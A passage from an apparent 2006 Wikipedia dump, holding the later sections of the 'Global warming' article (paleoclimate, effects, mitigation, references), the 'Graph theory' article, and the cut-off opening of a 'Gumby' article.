It is thought by some geologists that the Earth experienced global warming in the early [[Jurassic]] period, with average temperatures rising by 5&amp;nbsp;°C.  Research by the [[Open University]] published in ''Geology'' (32: 157&amp;ndash;160, 2004 [http://www3.open.ac.uk/earth-sciences/downloads/Press%20Release.pdf]) indicates that this caused the rate of rock weathering to increase by 400%. Rock weathering locks away carbon in [[calcite]] and [[dolomite]], which are minerals with various degrees of carbon oxides. As a result of this, carbon dioxide levels dropped back to normal over roughly the next 150,000 years.

Sudden release of methane from its ice complex, [[clathrate]], has been hypothesized as a cause of past global warming. Two events possibly linked in this way are the [[Permian-Triassic extinction event]] and the [[Paleocene-Eocene Thermal Maximum]]. However, warming at the end of the last ice age is thought not to be due to methane release [http://gsa.confex.com/gsa/inqu/finalprogram/abstract_55405.htm].

The greenhouse effect has also been invoked to explain how the Earth made it out of the [[Snowball Earth]] period. During this period all silicate rocks were covered by ice, thereby preventing them from combining with atmospheric carbon dioxide. The atmospheric carbon dioxide level gradually increased until it reached about 350 times current levels. At this point temperatures were raised to an average of 50&amp;nbsp;°C, hot enough to melt the ice. Increased amounts of rainfall would quickly wash the carbon dioxide out of the atmosphere. Thick layers of [[abiotic]] carbonate sediment which can be found on top of the glacial rocks from this period are believed to have been formed by this rapid carbon dioxide removal process.

Using [[paleoclimatology|paleoclimate]] data for the last 500 million years (Veizer et al. 2000, Nature 408, pp. 698-701) concluded that long-term temperature variations are only weakly coupled to carbon dioxide variations.  Shaviv and Veizer (2003, [http://www.envirotruth.org/docs/Veizer-Shaviv.pdf]) extended this by arguing that the biggest long-term influence on temperature is actually the [[solar system]]'s motion around the [[Milky Way Galaxy|galaxy]].  Afterwards, they argued that over geologic time a change in carbon dioxide concentrations comparable to doubling preindustrial levels, only results in about 0.75&amp;nbsp;°C warming rather than the usual 1.5-4.5&amp;nbsp;°C reported by climate models [http://www.grida.no/climate/ipcc_tar/wg1/122.htm]. In turn Veizer's recent work has been discussed and criticised on RealClimate.org [http://www.realclimate.org/index.php?p=153].

Leading palaeoclimatologist William Ruddiman has argued (e.g. [http://scientificamerican.com/article.cfm?chanID=sa006&amp;colID=1&amp;articleID=000ED75C-D366-1212-8F3983414B7F0000 Scientific American, March 2005]) that human influence on the global climate began around 8000 years ago with the development of agriculture. This prevented carbon dioxide (and later methane) levels falling as rapidly as they would have done otherwise. Ruddiman argues that without this effect, the Earth would be entering, or already have entered, a new ice age.  However other work in this area  ([http://www.nature.com/cgi-taf/DynaPage.taf?file=/nature/journal/v429/n6992/abs/nature02599_fs.html Nature 2004]) argues that the present interglacial is most analogous to the interglacial 400,000 years ago that lasted approximately 28,000 years, in which case there is no need to invoke the spread of agriculture for having delayed the next ice age.

== Public controversy ==
[[Image:IPCC_Radiative_Forcings.gif|thumb|right|250px|[[Radiative forcing]] from various [[greenhouse gas]]es and other sources]]
{{main|Global warming controversy}}
There is an ongoing dispute about what effect humans have on the global climate and what policies should be followed to mitigate any current detrimental effects, and prevent future detrimental effects. Although not fully settled, the current [[scientific opinion on climate change|consensus from the official scientific communities on climate change]] is that recent warming is largely human-caused. There is near consensus among scientists that global warming is already occuring due to greenhouse gases.

==Effects==
{{main|Effects of global warming}}

The predicted effects of global warming are many and various, both for the [[natural environment|environment]] and for [[civilization|human life]]. The primary cause of global warming is increasing [[carbon dioxide]], leading to [[radiative forcing]], continued increases in global average surface temperature, global average wind speeds, sea level, rainfall, the strength of storms, and other phenomena related to atmospheric energy. 

These effects, including [[sea level rise]], [[Global warming and agriculture|impacts on agriculture]], reductions in the ozone layer (see above), increased intensity and frequency of extreme weather events, also includes risks related to the spread of disease. The effects are already be being experienced and are responsible for hundreds if not thousands of deaths. It is impossible to attribute any particular natural phenomena to long-term global warming, but the statistical causes of dangerous phenomena are understood. The relationship between global warming and hurricanes is still being debated [http://hurricane.atmos.colostate.edu/forecasts/2005/dec2005/] [http://www.realclimate.org/index.php?p=181] by hold-outs in major governments and industries who have paid people to argue against the scientific evidence. [http://abcnews.go.com/Politics/StateOfTheUnion/story?id=1565837] [http://www.commondreams.org/headlines02/0616-01.htm] Three recent papers correlating climate change with increased hurricane intensity make the case that the two phenomena are linked. [http://pubs.acs.org/subscribe/journals/esthag-w/2005/oct/policy/pt_curry.html] Governments have acknowledged the controversy [http://www.bom.gov.au/info/CAS-statement.pdf].

The extent and likelihood of these consequences is a matter of considerable [[global warming controversy|controversy]]. A summary of possible effects and recent understanding can be found in the report of the [[IPCC]] Working Group II [http://www.grida.no/climate/ipcc_tar/wg2/index.htm]. Global warming is already causing death and disease across the world through flooding, environmental destruction, heatwaves and other extreme weather events, according to a Lancet study (Reuters, February 9, 2006; [http://www.commondreams.org/headlines06/0209-05.htm archived]).

=== Effects on ecosystems ===
Secondary evidence of global warming &amp;mdash; lessened snow cover, rising sea levels, weather changes &amp;mdash; provides examples of consequences of global warming that may influence not only human activities but also the [[ecosystem]]s.  Increasing global temperature means that ecosystems may change; some [[species]] may be forced out of their habitats (possibly to extinction) because of changing conditions, while others may flourish.  Few of the [[terrestrial ecoregions]] on Earth could expect to be unaffected.

=== Impact on Glaciers===  	 

Global warming has led to [[glacier retreat]] around the world. Oerlemans (2005) showed a net decline in 142 of the 144 mountain glaciers with records from 1900 to 1980. Since 1980 global glacier retreat has increased significantly. Similarly, Dyurgerov and Meier (2005) averaged glacier data across large scale regions (e.g. Europe) and found that every region had a net decline from 1960 to 2002, though a few local regions (e.g. Scandinavia) have shown increases. A number of glaciers have already disappeared [http://www.nichols.edu/departments/Glacier/Bill.htm] and increasing temperatures are expected to cause continued retreat in the majority of alpine glaciers around the world. Upwards of 90% of glaciers reported to the World Glacier Monitoring Service have retreated since 1995 [http://www.geo.unizh.ch/wgms/].

=== Destabilisation of ocean currents ===
{{main|Effects of global warming#Shutdown of thermohaline circulation?}}
&lt;!-- take summary from ref above which has had the removed &quot;cooling trigger&quot; section merged into it--&gt;

There is some speculation that global warming could, via a shutdown or slowdown of the thermohaline circulation, trigger localised cooling in the North Atlantic and lead to cooling, or lesser warming, in that region. This would affect in particular areas like [[Scandinavia]] and [[United Kingdom|Britain]] that are warmed by the [[North Atlantic drift]]. The chances of this occurring are unclear.

=== Environmental refugees ===
[[Image:Glacial lakes, Bhutan.jpg|thumb|right|250px|The termini of the glaciers in the [[Bhutan]]-[[Himalaya]]. Glacial lakes have been rapidly forming on the surface of the debris-covered glaciers in this region during the last few decades. According to [[USGS]] researchers, glaciers in the Himalaya are wasting at alarming and accelerating rates, as indicated by comparisons of satellite and historic data, and as shown by the widespread, rapid growth of lakes on the glacier surfaces. The researchers have found a strong correlation between increasing temperatures and glacier retreat.]]

Even a relatively small rise in sea level would make some densely settled coastal plains uninhabitable and create a significant [[refugee]] problem.  If the sea level were to rise in excess of 4 metres almost every coastal city in the world would be severely affected, with the potential for major impacts on world-wide trade and economy.  Presently, the IPCC predicts [[sea level rise]] of less than 1 meter through 2100, but they also warn that global warming during that time may lead to irreversible changes in the Earth's glacial system and ultimately melt enough ice to raise sea level many meters over the next millennia.  It is estimated that around 200 million people could be affected by sea level rise, especially in [[Vietnam]], [[Bangladesh]], [[China]], [[India]], [[Thailand]], [[Philippines]], [[Indonesia]] and [[Egypt]].  [http://www.grida.no/climate/ipcc_tar/wg2/681.htm] [http://www.journals.royalsoc.ac.uk/app/home/contribution.asp?wasp=070d8d54cad94ca9a10ec2069c7bd079&amp;referrer=parent&amp;backto=issue,14,14;journal,43,114;linkingpublicationresults,1:102022,1] [http://www.actionbioscience.org/environment/chanton.html]

=== Spread of disease ===
Global warming may extend the range of [[Vector (biology)|vectors]] conveying [[infectious disease]]s such as [[malaria]]. [[Bluetongue disease]] in [[domesticated]] [[ruminants]] associated with [[mite]] bites has recently spread to the north [[Mediterranean]] region. [[Hantavirus]] infection, [[Crimean-Congo hemorrhagic fever]], [[tularemia]] and [[rabies]] increased in wide areas of [[Russia]] during 2004–2005. This was associated with a population explosion of [[rodents]] and their [[predator]]s but may be partially blamed on breakdowns in governmental [[vaccination]] and rodent control programs.[http://www.promedmail.org/pls/promed/f?p=2400:1001:11691307049244640380::NO::F2400_P1001_BACK_PAGE,F2400_P1001_PUB_MAIL_ID:1010,30306] Similarly, despite the disappearance of malaria in most temperate regions, the indigenous [[mosquito]]es that transmitted it were never eliminated and remain common in some areas.  Thus, although temperature is important in the transmission dynamics of malaria, many other factors are influential [http://www.cdc.gov/ncidod/eid/vol6no1/reiter.htm].

=== Financial effects ===
Financial institutions, including the world's two largest insurance companies, [[Munich Re]] and [[Swiss Re]], warned in a 2002 study ([http://www.unepfi.org/fileadmin/documents/CEO_briefing_climate_change_2002_en.pdf UNEP summary]) that &quot;the increasing frequency of severe climatic events, coupled with social trends&quot; could cost almost 150 billion US dollars each year in the next decade.  These costs would, through increased costs related to insurance and disaster relief, burden customers, tax payers, and industry alike.

According to the [http://www.abi.org.uk/Display/File/Child/552/Financial_Risks_of_Climate_Change.pdf Association of British Insurers], limiting carbon emissions could avoid 80% of the projected additional annual cost of tropical cyclones by the 2080s. According to Choi and Fisher (2003) each 1% increase in annual precipitation could enlarge catastrophe loss by as much as 2.8%.

The United Nation’s Environmental Program recently announced that severe weather around the world has made 2005 the most costly year on record [http://www.ens-newswire.com/ens/dec2005/2005-12-07-01.asp], although ''there is no way to prove that [a given hurricane] either was, or was not, affected by global warming'' [http://www.realclimate.org/index.php?p=181]. Preliminary estimates presented by the German insurance foundation [[Munich Re]] put the economic losses at more than 200 billion U.S. dollars, with insured losses running at more than 70 billion U.S. dollars.

=== Possible beneficial effects ===
[[Image:Arctic Ice Thickness.gif|250px|right|thumb|[[NOAA]] projects that by the 2050s, there will only be 54% of the volume of sea ice there was in the 1950s.]]
Global warming may also have positive effects. Plants form the basis of the biosphere. By means of [[photosynthesis]], they use solar energy to convert water, [[nutrient]]s, and carbon dioxide into usable [[biomass]]. Plant growth can be limited by a number of factors, including soil fertility, water, temperature, and carbon dioxide concentration. Lack of carbon dioxide can induce [[photorespiration]], which can destroy existing [[sugar]]s. Thus, an increase in temperature and atmospheric carbon dioxide can stimulate plant growth in places where these are the limiting factors.  IPCC models predict that higher carbon dioxide concentrations would only spur growth of flora up to a point however, because in many regions the limiting factors are water or nutrients, not temperature or carbon dioxide.  Despite the limiting factor of water, an increase in carbon dioxide concentration has the direct effect of increasing the transpiration efficiency of most plants so that they actually produce more net biomass per unit of water used by the plant.[http://jxb.oxfordjournals.org/cgi/content/abstract/47/294/61] Satellite data shows that the productivity of the northern hemisphere has indeed increased from 1982 to 1991 [http://www.nature.com/nature/journal/v386/n6626/abs/386698a0.html]. However, more recent studies [http://www.pnas.org/cgi/content/full/102/31/10823],[http://www.pnas.org/cgi/content/abstract/102/38/13521] found that from 1991 to 2002, wide-spread droughts had actually caused a decrease in summer photosynthesis in the mid and high latitudes of the northern hemisphere. 
Moreover, an increase in the total amount of biomass produced is not necessarily all good, since [[biodiversity]] can still decrease even though a smaller number of species are flourishing.

Melting [[Arctic]] ice may open the [[Northwest Passage]] in summer, which would cut 5,000 [[nautical mile]]s from shipping routes between Europe and Asia. This would be of particular relevance for supertankers which are too big to fit through the [[Panama Canal]] and currently have to go around the tip of South America. According to the Canadian Ice Service, the amount of ice in Canada's eastern Arctic Archipelago decreased by 15 percent between 1969 and 2004 [http://www.washingtontimes.com/specialreport/20050612-123835-3711r.htm].

==Mitigating and adapting to global warming==
{{main|Mitigation of global warming}}

&quot;Mitigation of global warming&quot; covers all actions aimed at reducing the extent or likelihood of global warming. The world's primary international agreement on combating climate change is the [[Kyoto Protocol]]. Various other strategies include [[Future energy development|development of new technologies]], [[wind power]], [[nuclear power]], [[renewable energy]], [[biodiesel]], [[electric car]]s (and [[hybrid vehicle|hybrids]]), and [[fuel cell]]s, [[Energy conservation]], [[carbon tax]]es and [[carbon sequestration]] schemes.

Adaptation strategies accept some warming as a given and focus on preventing or reducing undesirable consequences: for example defending against rising sea levels or ensuring [[food security]].

''See also [[Individual action against global warming]], [[business action on climate change]].''

==References==
* [http://www.abi.org.uk/Display/File/Child/552/Financial_Risks_of_Climate_Change.pdf Association of British Insurers] ''Financial Risks of Climate Change'', June 2005, (PDF) Accessed Jan. 7, 2006
* Choi, O. and A. Fisher (2003) &quot;The Impacts of Socioeconomic Development and Climate Change on Severe Weather Catastrophe Losses: Mid-Atlantic Region (MAR) and the U.S.&quot; ''Climate Change,'' vol. 58  pp. 149 
* {{cite book
 | last = Dyurgerov | first =  Mark B
 | coauthors = Mark F. Meier
 | year = 2005
 | title = Glaciers and the Changing Earth System: a 2004 Snapshot
 | publisher = [[Institute of Arctic and Alpine Research]], Occasional Paper #58
 }} [http://instaar.colorado.edu/other/download/OP58_dyurgerov_meier.pdf]
* Emanuel, K.A. (2005) &quot;Increasing destructiveness of tropical cyclones over the past 30 years.&quot; ''Nature'' '''436,''' pp. 686-688. ftp://texmex.mit.edu/pub/emanuel/PAPERS/NATURE03906.pdf
* {{cite journal
 | author = Hoyt, D.V., and K.H. Schatten
 | year = 1993
 | title = A discussion of plausible solar irradiance variations, 1700-1992
 | journal = J. Geophys. Res.
 | volume = 98
 | pages = 18895–18906
 }}
* {{cite journal
 | title = The effect of increasing solar activity on the Sun's total and open magnetic flux during multiple cycles: Implications for solar forcing of climate
 | author = Lean, J.L., Y.M. Wang, and N.R. Sheeley
 | year = 2002
 | journal = Geophys. Res. Lett.
 | volume = 29 | issue = 24 | pages = 2224
 | url = http://www.agu.org/journals/gl/gl0224/2002GL015880/
 | id= {{DOI|10.1029/2002GL015880}}
 }}''(online version requires registration)''
* {{cite journal
 | author = Oerlemans, J
 | year = 2005
 | title = Extracting a Climate Signal from 169 Glacier Records
 | journal = Science
 | volume = 308
 | pages = 675 - 677
 }}
* Naomi Oreskes, 2004 [http://www.sciencemag.org/cgi/content/full/306/5702/1686 Beyond the Ivory Tower: The Scientific Consensus on Climate Change] - The author discussed her survey of 928 peer-reviewed scientific abstracts on climate change. Retrieved [[December 8]], [[2004]]. Also available as a [http://www.sciencemag.org/cgi/reprint/306/5702/1686.pdf 1 page pdf file]
* {{cite journal
 | author = Revkin, Andrew C
 | year = 2005
 | title = Rise in Gases Unmatched by a History in Ancient Ice
 | journal = New York Times
 }} &quot;Shafts of ancient ice pulled from Antarctica's frozen depths show that for at least 650,000 years three important heat-trapping greenhouse gases never reached recent atmospheric levels caused by human activities, scientists are reporting today.&quot; (November 25, 2005) [http://www.nytimes.com/2005/11/25/science/earth/25core.html?ei=5090&amp;en=d5078e33050b2b0c&amp;ex=1290574800&amp;adxnnl=1&amp;partner=rssuserland&amp;emc=rss]
* {{cite book
 | last = Ruddiman | first = William F.
 | year = 2005
 | title = Plows, Plagues, and Petroleum: How Humans Took Control of Climate
 | location = New Jersey
 | publisher = Princeton University Press
 | id = ISBN 0691121648
 }}
* [http://www.unepfi.org/fileadmin/documents/CEO_briefing_climate_change_2002_en.pdf UNEP summary] (2002) ''Climate risk to global economy'', Climate Change and the Financial Services Industry, United Nations Environment Programme Finance Initiatives Executive Briefing Paper (UNEP FI) (PDF) Accessed Jan. 7, 2006
* {{cite journal
 | author = Wang, Y.M., J.L. Lean, and N.R. Sheeley
 | year = 2005
 | title = Modeling the sun's magnetic field and irradiance since 1713
 | journal = Astrophysical Journal
 | volume = 625
 | pages = 522–538
 }}
* Kennett J. P., Cannariato K. G., Hendy I. L. &amp; Behl R. J.American Geophysical Union, Special Publication, Methane Hydrates in Quaternary Climate Change: The Clathrate Gun Hypothesis. 54, (2003). 
* Sowers T. Science, 311. 838 - 840 (2006). 
* Hinrichs K.U., Hmelo L. &amp; Sylva S. Science, 299 . 1214 - 1217 (2003). 
* [http://www.bioedonline.org/news/news.cfm?art=2334 Questions about Clathrate Gun Hypothesis (source of information)]

==See also==
*[[Climate change]]
*[[Effects of global warming]]
*[[Global Atmosphere Watch]]
*[[Greenhouse effect]]
*[[Iris Hypothesis]]
*[[National Assessment on Climate Change]]
*[[Phenology]]
*[[Timeline of environmental events]]
*[[United Kingdom Climate Change Programme]]
*[[Wind power]]

==External links==
===Scientific===
*[http://wwwghcc.msfc.nasa.gov/ghcc_home.html NASA's Global Hydrology and Climate Center]
*[http://www.ucar.edu/research/climate/ National Center for Atmospheric Research] - Overview of NCAR research on climate change
*[http://www.aip.org/history/climate Discovery of Global Warming] &amp;mdash; An extensive introduction to the topic and the history of its discovery
*[http://www.wmo.ch/web/etr/pdf_web/926E.pdf Introduction to climate change: Lecture notes for meteorologists] ([[World Meteorological Organization]]) (PDF)

===Other===
*[http://globalchange.org/ Global Change] by the [[Pacific Institute]]
*[http://www.sourcewatch.org/index.php?title=Global_warming Global Warming article on Sourcewatch]
*[http://www.manicore.com/anglais/documentation_a/greenhouse/index.html Climate change (global warming): a couple of answers to some elementary questions] by Jean-Marc Jancovici
*[http://sdnetwork.net/page.php?instructions=page&amp;page_id=550&amp;nav_id=131 Carrots, Sticks and Climate Change] - Online articles of well-known authors of the [[Sustainable Development Network]], also in a book
*[http://www.sepp.org The Science &amp; Environmental Policy Project]
*[http://www.globalwarming.org/ GlobalWarming.org] - a site of  Cooler Heads Coalition and the Competitive Enterprise Institute that advocate for business interests.
*[http://www.giss.nasa.gov/edu/gwdebate/ Misusing figures about global warming in testimony to the United States Congress]
*[http://www.brighton73.freeserve.co.uk/gw/globalwarmingfaq.htm Global Warming FAQ] by [http://www.brighton73.freeserve.co.uk/ Tom Rees]
*[http://www.autobahn.mb.ca/~het/enviro/globalwarming.html A large compendium of links to sites with information on global warming]
*[http://www.istl.org/01-fall/internet.html Science and Technology Librarianship: Global Warming and Climate Change Science] &amp;mdash; Extensive commented list of Internet resources &amp;mdash; Science and Technology Sources on the Internet.
*[http://www.realclimate.org RealClimate] - A group blog of climate scientists
*[http://www.climateimc.org Climate Indymedia] - An independent, open publishing, news media website about Climate Chaos. (A topical [[Indymedia]] )
*[http://www.junkscience.com/MSU_Temps/Warming_Look.htm Global warming at a glance] - latest data of the global temperature
*[http://www.obelus.org/index.php?artID=10 The incredible shrinking Arctic] - explains the albedo effect
*&quot;[http://www.pbs.org/wgbh/warming/ What's up with the weather?]&quot; ([[NOVA (TV series)|NOVA]] / [[Frontline (PBS)|FrontLine]])

[[Category:Climate change]]
[[Category:Climatology]]
[[Category:History of climate]]

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  </page>
  <page>
    <title>Graph theory</title>
    <id>12401</id>
    <revision>
      <id>41869996</id>
      <timestamp>2006-03-02T06:47:06Z</timestamp>
      <contributor>
        <username>Mikkalai</username>
        <id>28438</id>
      </contributor>
      <minor />
      <comment>Reverted edits by [[Special:Contributions/59.92.143.18|59.92.143.18]] ([[User talk:59.92.143.18|talk]]) to last version by Shanes</comment>
      <text xml:space="preserve">[[Image:6n-graf.png|frame|right|A graph diagram of a graph with 6 vertices and 7 edges.]]
In [[mathematics]] and [[computer science]], '''graph theory''' studies the properties of [[graph (mathematics)|graphs]]. Informally, a graph is a set of objects called [[vertex|vertices]] (or nodes) connected by links called [[edge]]s (or arcs) which can be directed (assigned a direction). Typically, a graph is designed as a set of nodes (the vertices) connected by lines (the edges). 

Structures that can be represented as graphs are ubiquitous, and many problems of practical interest can be represented by graphs. The link structure of a [[website]] could be represented by a directed graph: the vertices are the web pages available at the website and there's a directed edge from page ''A'' to page ''B'' if and only if ''A'' contains a link to ''B''. The development of [[algorithm]]s to handle graphs is therefore of major interest in [[computer science]].

A graph structure can be extended by assigning a weight to each edge of the graph. Graphs with weights can be used to represent many different concepts; for example if the graph represents a road network, the weights could represent the length of each road&lt;sup&gt;[[#Notes|1]]&lt;/sup&gt;. Another way to extend basic graphs is by making the edges to the graph directional (''A'' links to ''B'', but ''B'' does not necessarily link to ''A'', as in webpages), technically called a [[directed graph]] or [[directed graph|digraph]]. A digraph with weighted edges is called a [[network (mathematics)|network]].

Networks have many uses in the practical side of graph theory, [[network analysis]] (for example, to model and analyze traffic networks or to discover the ''shape'' of the internet -- see [[#Applications|Applications]] below).  Within network analysis, the definition of the term &quot;network&quot; varies, and may often refer to a simple graph.

== History ==
One of the first results in graph theory appeared in [[Leonhard Euler]]'s paper on ''[[Seven Bridges of Königsberg]]'', published in [[1736]]. It is also regarded as one of the first topological results in geometry; that is, it does not depend on any measurements.  This illustrates the deep connection between graph theory and [[topology]].

In [[1845]] [[Gustav Kirchhoff]] published his [[Kirchhoff's circuit laws]] for calculating the [[voltage]] and [[current (electricity)|current]] in [[electric circuit]]s.

In [[1852]] [[Francis Guthrie]] posed the [[four color problem]] which asks if it is possible to color, using only four colors, any map of countries in such a way as to prevent two bordering countries from having the same color. This problem, which was only solved a century later in [[1976]] by [[Kenneth Appel]] and [[Wolfgang Haken]], can be considered the birth of graph theory. While trying to solve it mathematicians invented many fundamental graph theoretic terms and concepts.

==Definition== 
{{main|Graph (mathematics)}}

[[Image:Undirected.png|right]]An '''undirected graph''' or '''graph''' ''G'' is an [[ordered pair]] ''G'':=(''V'', ''E'') with
* ''V'', a [[set]] of '''vertices'''  or '''nodes''',
* ''E'', a set of unordered pairs of distinct vertices, called '''edges''' or '''lines'''.  The vertices belonging to an edge are called the '''ends''', '''endpoints''', or '''end vertices''' of the edge.

''V'' (and hence ''E'') are usually taken to be finite sets, and many of the well-known results are not true (or are rather different) for '''infinite graphs''' because many of the arguments fail in the infinite case.


[[Image:Directed.png|right]]A '''directed graph''' or '''digraph''' ''G'' is an ordered pair ''G'':=(''V'', ''A'') with
* ''V'', a [[set]] of '''vertices'''  or '''nodes''',
* ''A'', a set of ordered pairs of vertices, called '''directed edges''', '''arcs''', or '''arrows'''.  An edge ''e'' = (''x'', ''y'') is considered to be directed '''from''' ''x'' '''to''' ''y''; ''y'' is called the '''head''' and ''x'' is called the '''tail''' of the edge.

There are also some mixed type of graphs with undirected and directed edges.

== Drawing graphs == {{main|Graph drawing}}

Graphs are represented graphically by drawing a dot for every vertex, and drawing an arc between two vertices if they are connected by an edge. If the graph is directed, the direction is indicated by drawing an arrow. 

A graph drawing should not be confused with the graph itself (the abstract, non-graphical structure) as there are several ways to structure the graph drawing. All that matters is which vertices are connected to which others by how many edges and not the exact layout. In practise it is often difficult to decide if two drawings represent the same graph. Depending on the problem domain some layouts may be better suited and easier to understand than others.

== Graphs as data structures == {{main|Graph (data structure)}}

There are different ways to store graphs in a computer system. The [[data structure]] used depends on both the graph structure and the [[algorithm]] used for manipulating the graph. Theoretically one can distinguish between list and matrix structures but in concrete applications the best structure is often a combination of both. List structures are often preferred for [[sparse graph]]s as they have smaller memory requirements. Matrix structures on the other hand provide faster access but can consume huge amounts of memory if the graph is very large.

===List structures===

* '''[[Incidence list]]''' - The edges are represented by an [[array]] containing pairs (ordered if directed) of vertices (that the edge connects) and eventually weight and other data.

* '''[[Adjacency list]]''' - Much like the incidence list, each node has a list of which nodes it is adjacent to. This can sometimes result in &quot;overkill&quot; in an undirected graph as node 3 may be in the list for node 2, then node 2 must be in the list for node 3. Either the programmer may choose to use the unneeded space anyway, or he/she may choose to list the adjacency once. This representation is easier to find all the nodes which are connected to a single node, since these are explicitly listed.

===Matrix structures===

* '''[[Incidence matrix]]''' - The graph is represented by a [[Matrix (mathematics)|matrix]] of E (edges) by V (vertices), where [edge, vertex] contains the edge's data (simplest case: 1 - connected, 0 - not connected).

* '''[[Adjacency matrix]]''' - there is an N by N matrix, where N is the number of vertices in the graph. If there is an edge from some vertex x to some vertex y, then the element &lt;math&gt;M_{x, y}&lt;/math&gt; is 1, otherwise it is 0. This makes it easier to find subgraphs, and to reverse graphs if needed.

* '''[[Admittance matrix]]''' or '''[[Kirchhoff matrix]]''' or '''Laplacian matrix''' - is defined as [[degree matrix]] minus [[adjacency matrix]] and thus contains adjacency information and degree information about the vertices

== Graph problems ==

=== Finding subgraphs ===

A common problem, called [[subgraph isomorphism problem]], is finding [[subgraph]]s in a given graph. Many [[graph properties]] are ''hereditary'', which means that a graph has a property if and only if all subgraphs have it too. For example a graph is [[planar graph|planar]] if it contains neither the [[complete bipartite graph]] &lt;math&gt;K_{3,3}&lt;/math&gt; (See [[Three cottage problem]]) nor the [[complete graph]] &lt;math&gt;K_{5}&lt;/math&gt;. Unfortunately, finding maximal subgraphs of a certain kind is often an [[NP-complete problem]].

*finding the largest [[complete graph]] is called the [[clique problem]] (NP-complete)
*finding the largest [[independent set]] is called the [[independent set problem]] (NP-complete)

=== [[Graph coloring]] ===
* the [[four-color theorem]]
* the [[perfect graph|strong perfect graph theorem]]
* the [[Erd&amp;#337;s-Faber-Lovász conjecture]] (unsolved)
* the [[total coloring|total coloring conjecture]] (unsolved)
* the [[list edge-coloring|list coloring conjecture]] (unsolved)

=== Route problems ===
* [[Hamiltonian path problem|Hamiltonian path and cycle problems]]
* [[Seven Bridges of Königsberg]]
* [[Minimum spanning tree]]
* [[Steiner tree]]
* [[Shortest path problem]]
* [[Route inspection problem]] (also called the &quot;Chinese Postman Problem&quot;)
* [[Traveling salesman problem]] (NP-Complete)

=== [[Network flow]] ===
* [[Max flow min cut theorem]]
* [[Reconstruction conjecture]]

=== [[Visibility graph]] problems ===
* [[Visibility graph|Museum guard problem]]

===[[Covering (graph theory)|Covering Problems]]===

Covering problems are specific instances of subgraph finding problems, and tend to be closely related to the [[clique problem]] or [[independent set problem]].

* [[Set cover problem]]
* [[Vertex cover problem]]

== Important algorithms ==

* [[Bellman-Ford algorithm]]
* [[Dijkstra's algorithm]]
* [[Ford-Fulkerson algorithm]]
* [[Kruskal's algorithm]]
* [[Nearest neighbour algorithm]]
* [[Prim's algorithm]]

== Related areas of mathematics ==

* [[Ramsey theory]]
* [[Combinatorics]]

==Applications==

Many applications of graph theory exist in the form of [[network analysis]].  These split broadly into two categories.  Firstly, analysis to determine structural properties of a network, such as whether or not it is a [[scale-free network]], or a [[small-world network]].  Secondly, analysis to find a measurable quantity within the network, for example, for a [[transport network|transportation network]], the level of vehicular flow within any portion of it.

Graph theory is also used to study molecules in science. In condensed matter physics, the three dimensional structure of complicated simulated atomic structures can be studied quantitatively by gathering statistics on graph-theoretic properties related to the topology of the atoms. For example, Franzblau's shortest-path (SP) rings.

== Subareas ==

Graph theory is diverse and contains many identifiable [[List of graph theory topics|subareas]].  Some of them are:

* [[Algebraic graph theory]] 
* [[Topological graph theory]] 
* [[Geometric graph theory]] 
* [[Extremal graph theory]] 
* [[Metric graph theory]]
* [[Probabilistic graph theory]]

==Prominent graph theorists ==

* [[Paul Erd&amp;#337;s]]
* [[Frank Harary]]
* [[Denes König]]
* [[W.T. Tutte]]
* [http://www1.cs.columbia.edu/~sanders/graphtheory/people/alphabetic.html Graph theory white pages] for more graph theorists and their publications.

==Notes==
# The only information a weighted graph provides as such is (a) the vertices, (b) the edges and (c) the weights. Therefore the example in which the weights represent the roads' lengths doesn't imply that the weights are merely redundant annotations: there is no actual topographical information associated with the graph, so unlike reading a map, measuring the distances between the vertices is completely meaningless -- without the weights, there would be no way of telling what the distance between the vertices is in real life.

==See also==
* [[Glossary of graph theory]]
* [[List of graph theory topics]]
* [[Ordered tree data structure]] - DAGs, binary trees and other special forms of graph.
* [[Graph (data structure)]]
* [[Graph drawing]]
* [[List of publications in mathematics#Graph theory| Important publications in graph theory]]
* [[Disjoint-set data structure]]

== External links==
;Online textbooks
* [http://www.math.uni-hamburg.de/home/diestel/books/graph.theory/ Graph Theory] (1997/2005) by Reinhard Diestel
* [http://www.ecp6.jussieu.fr/pageperso/bondy/books/gtwa/gtwa.html Graph Theory with Applications] (1976) by Bondy and Murty
;Other resources
* [http://www.utm.edu/departments/math/graph/ Graph theory tutorial]
* [http://www.cs.wpi.edu/~dobrush/cs507/presentation/2001/Project10/ppframe.htm Graph theory algorithm presentation]
* [http://students.ceid.upatras.gr/~papagel/project/contents.htm Some graph theory algorithm animations] 
**''Step through the algorithm to understand it.''
* [http://www2.hig.no/~algmet/animate.html The compendium of algorithm visualisation sites]
* [http://www.nlsde.buaa.edu.cn/~kexu/benchmarks/graph-benchmarks.htm Challenging Benchmarks for Maximum Clique, Maximum Independent Set, Minimum Vertex Cover and Vertex Coloring]
*[http://www.nd.edu/~networks/gallery.htm Image gallery no.1: Some real-life networks]
*[http://www.aisee.com/graphs/ Image gallery no.2: More real-life graphs]
*[http://people.freenet.de/Emden-Weinert/graphs.html Graph links collection]
*[http://ttt.upv.es/~arodrigu/grafos/index.htm Grafos spanish copyleft software]
*[http://www.ffconsultancy.com/products/ocaml_for_scientists/complete/ Source code for computing neighbor shells in particle systems under periodic boundary conditions]
*[http://www1.cs.columbia.edu/~sanders/graphtheory/ Graph Theory Resources]

[[Category:Discrete mathematics]]
[[Category:Graph theory]]
[[Category:Algebraic graph theory]]
[[Category:Topological graph theory]]

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    <title>Gulf stream</title>
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        <username>Wwoods</username>
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      <comment>shifted content to Gulf Stream</comment>
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  <page>
    <title>Gumby</title>
    <id>12405</id>
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      <comment>/* Parodies */</comment>
      <text xml:space="preserve">:''This article is about the claymation figure. For the Monty Python character, see [[Gumbies]].''

[[Image:Gumby_pokey.JPG|thumb|200px|right|Gumby and Pokey]]

'''Gumby''' is a green [[clay]] humanoid figure who was the subject of a series of [[television]] shows totaling 223 episodes over a three-and-a-half decade period, animated using [[stop motion]] photography, known as [[claymation]].  The shows also featured [[Pokey (Gumby character)|Pokey]], an orange clay horse, and Gumby's nemeses, the [[Block-heads (Gumby)|Block-heads]].

==The beginning years==
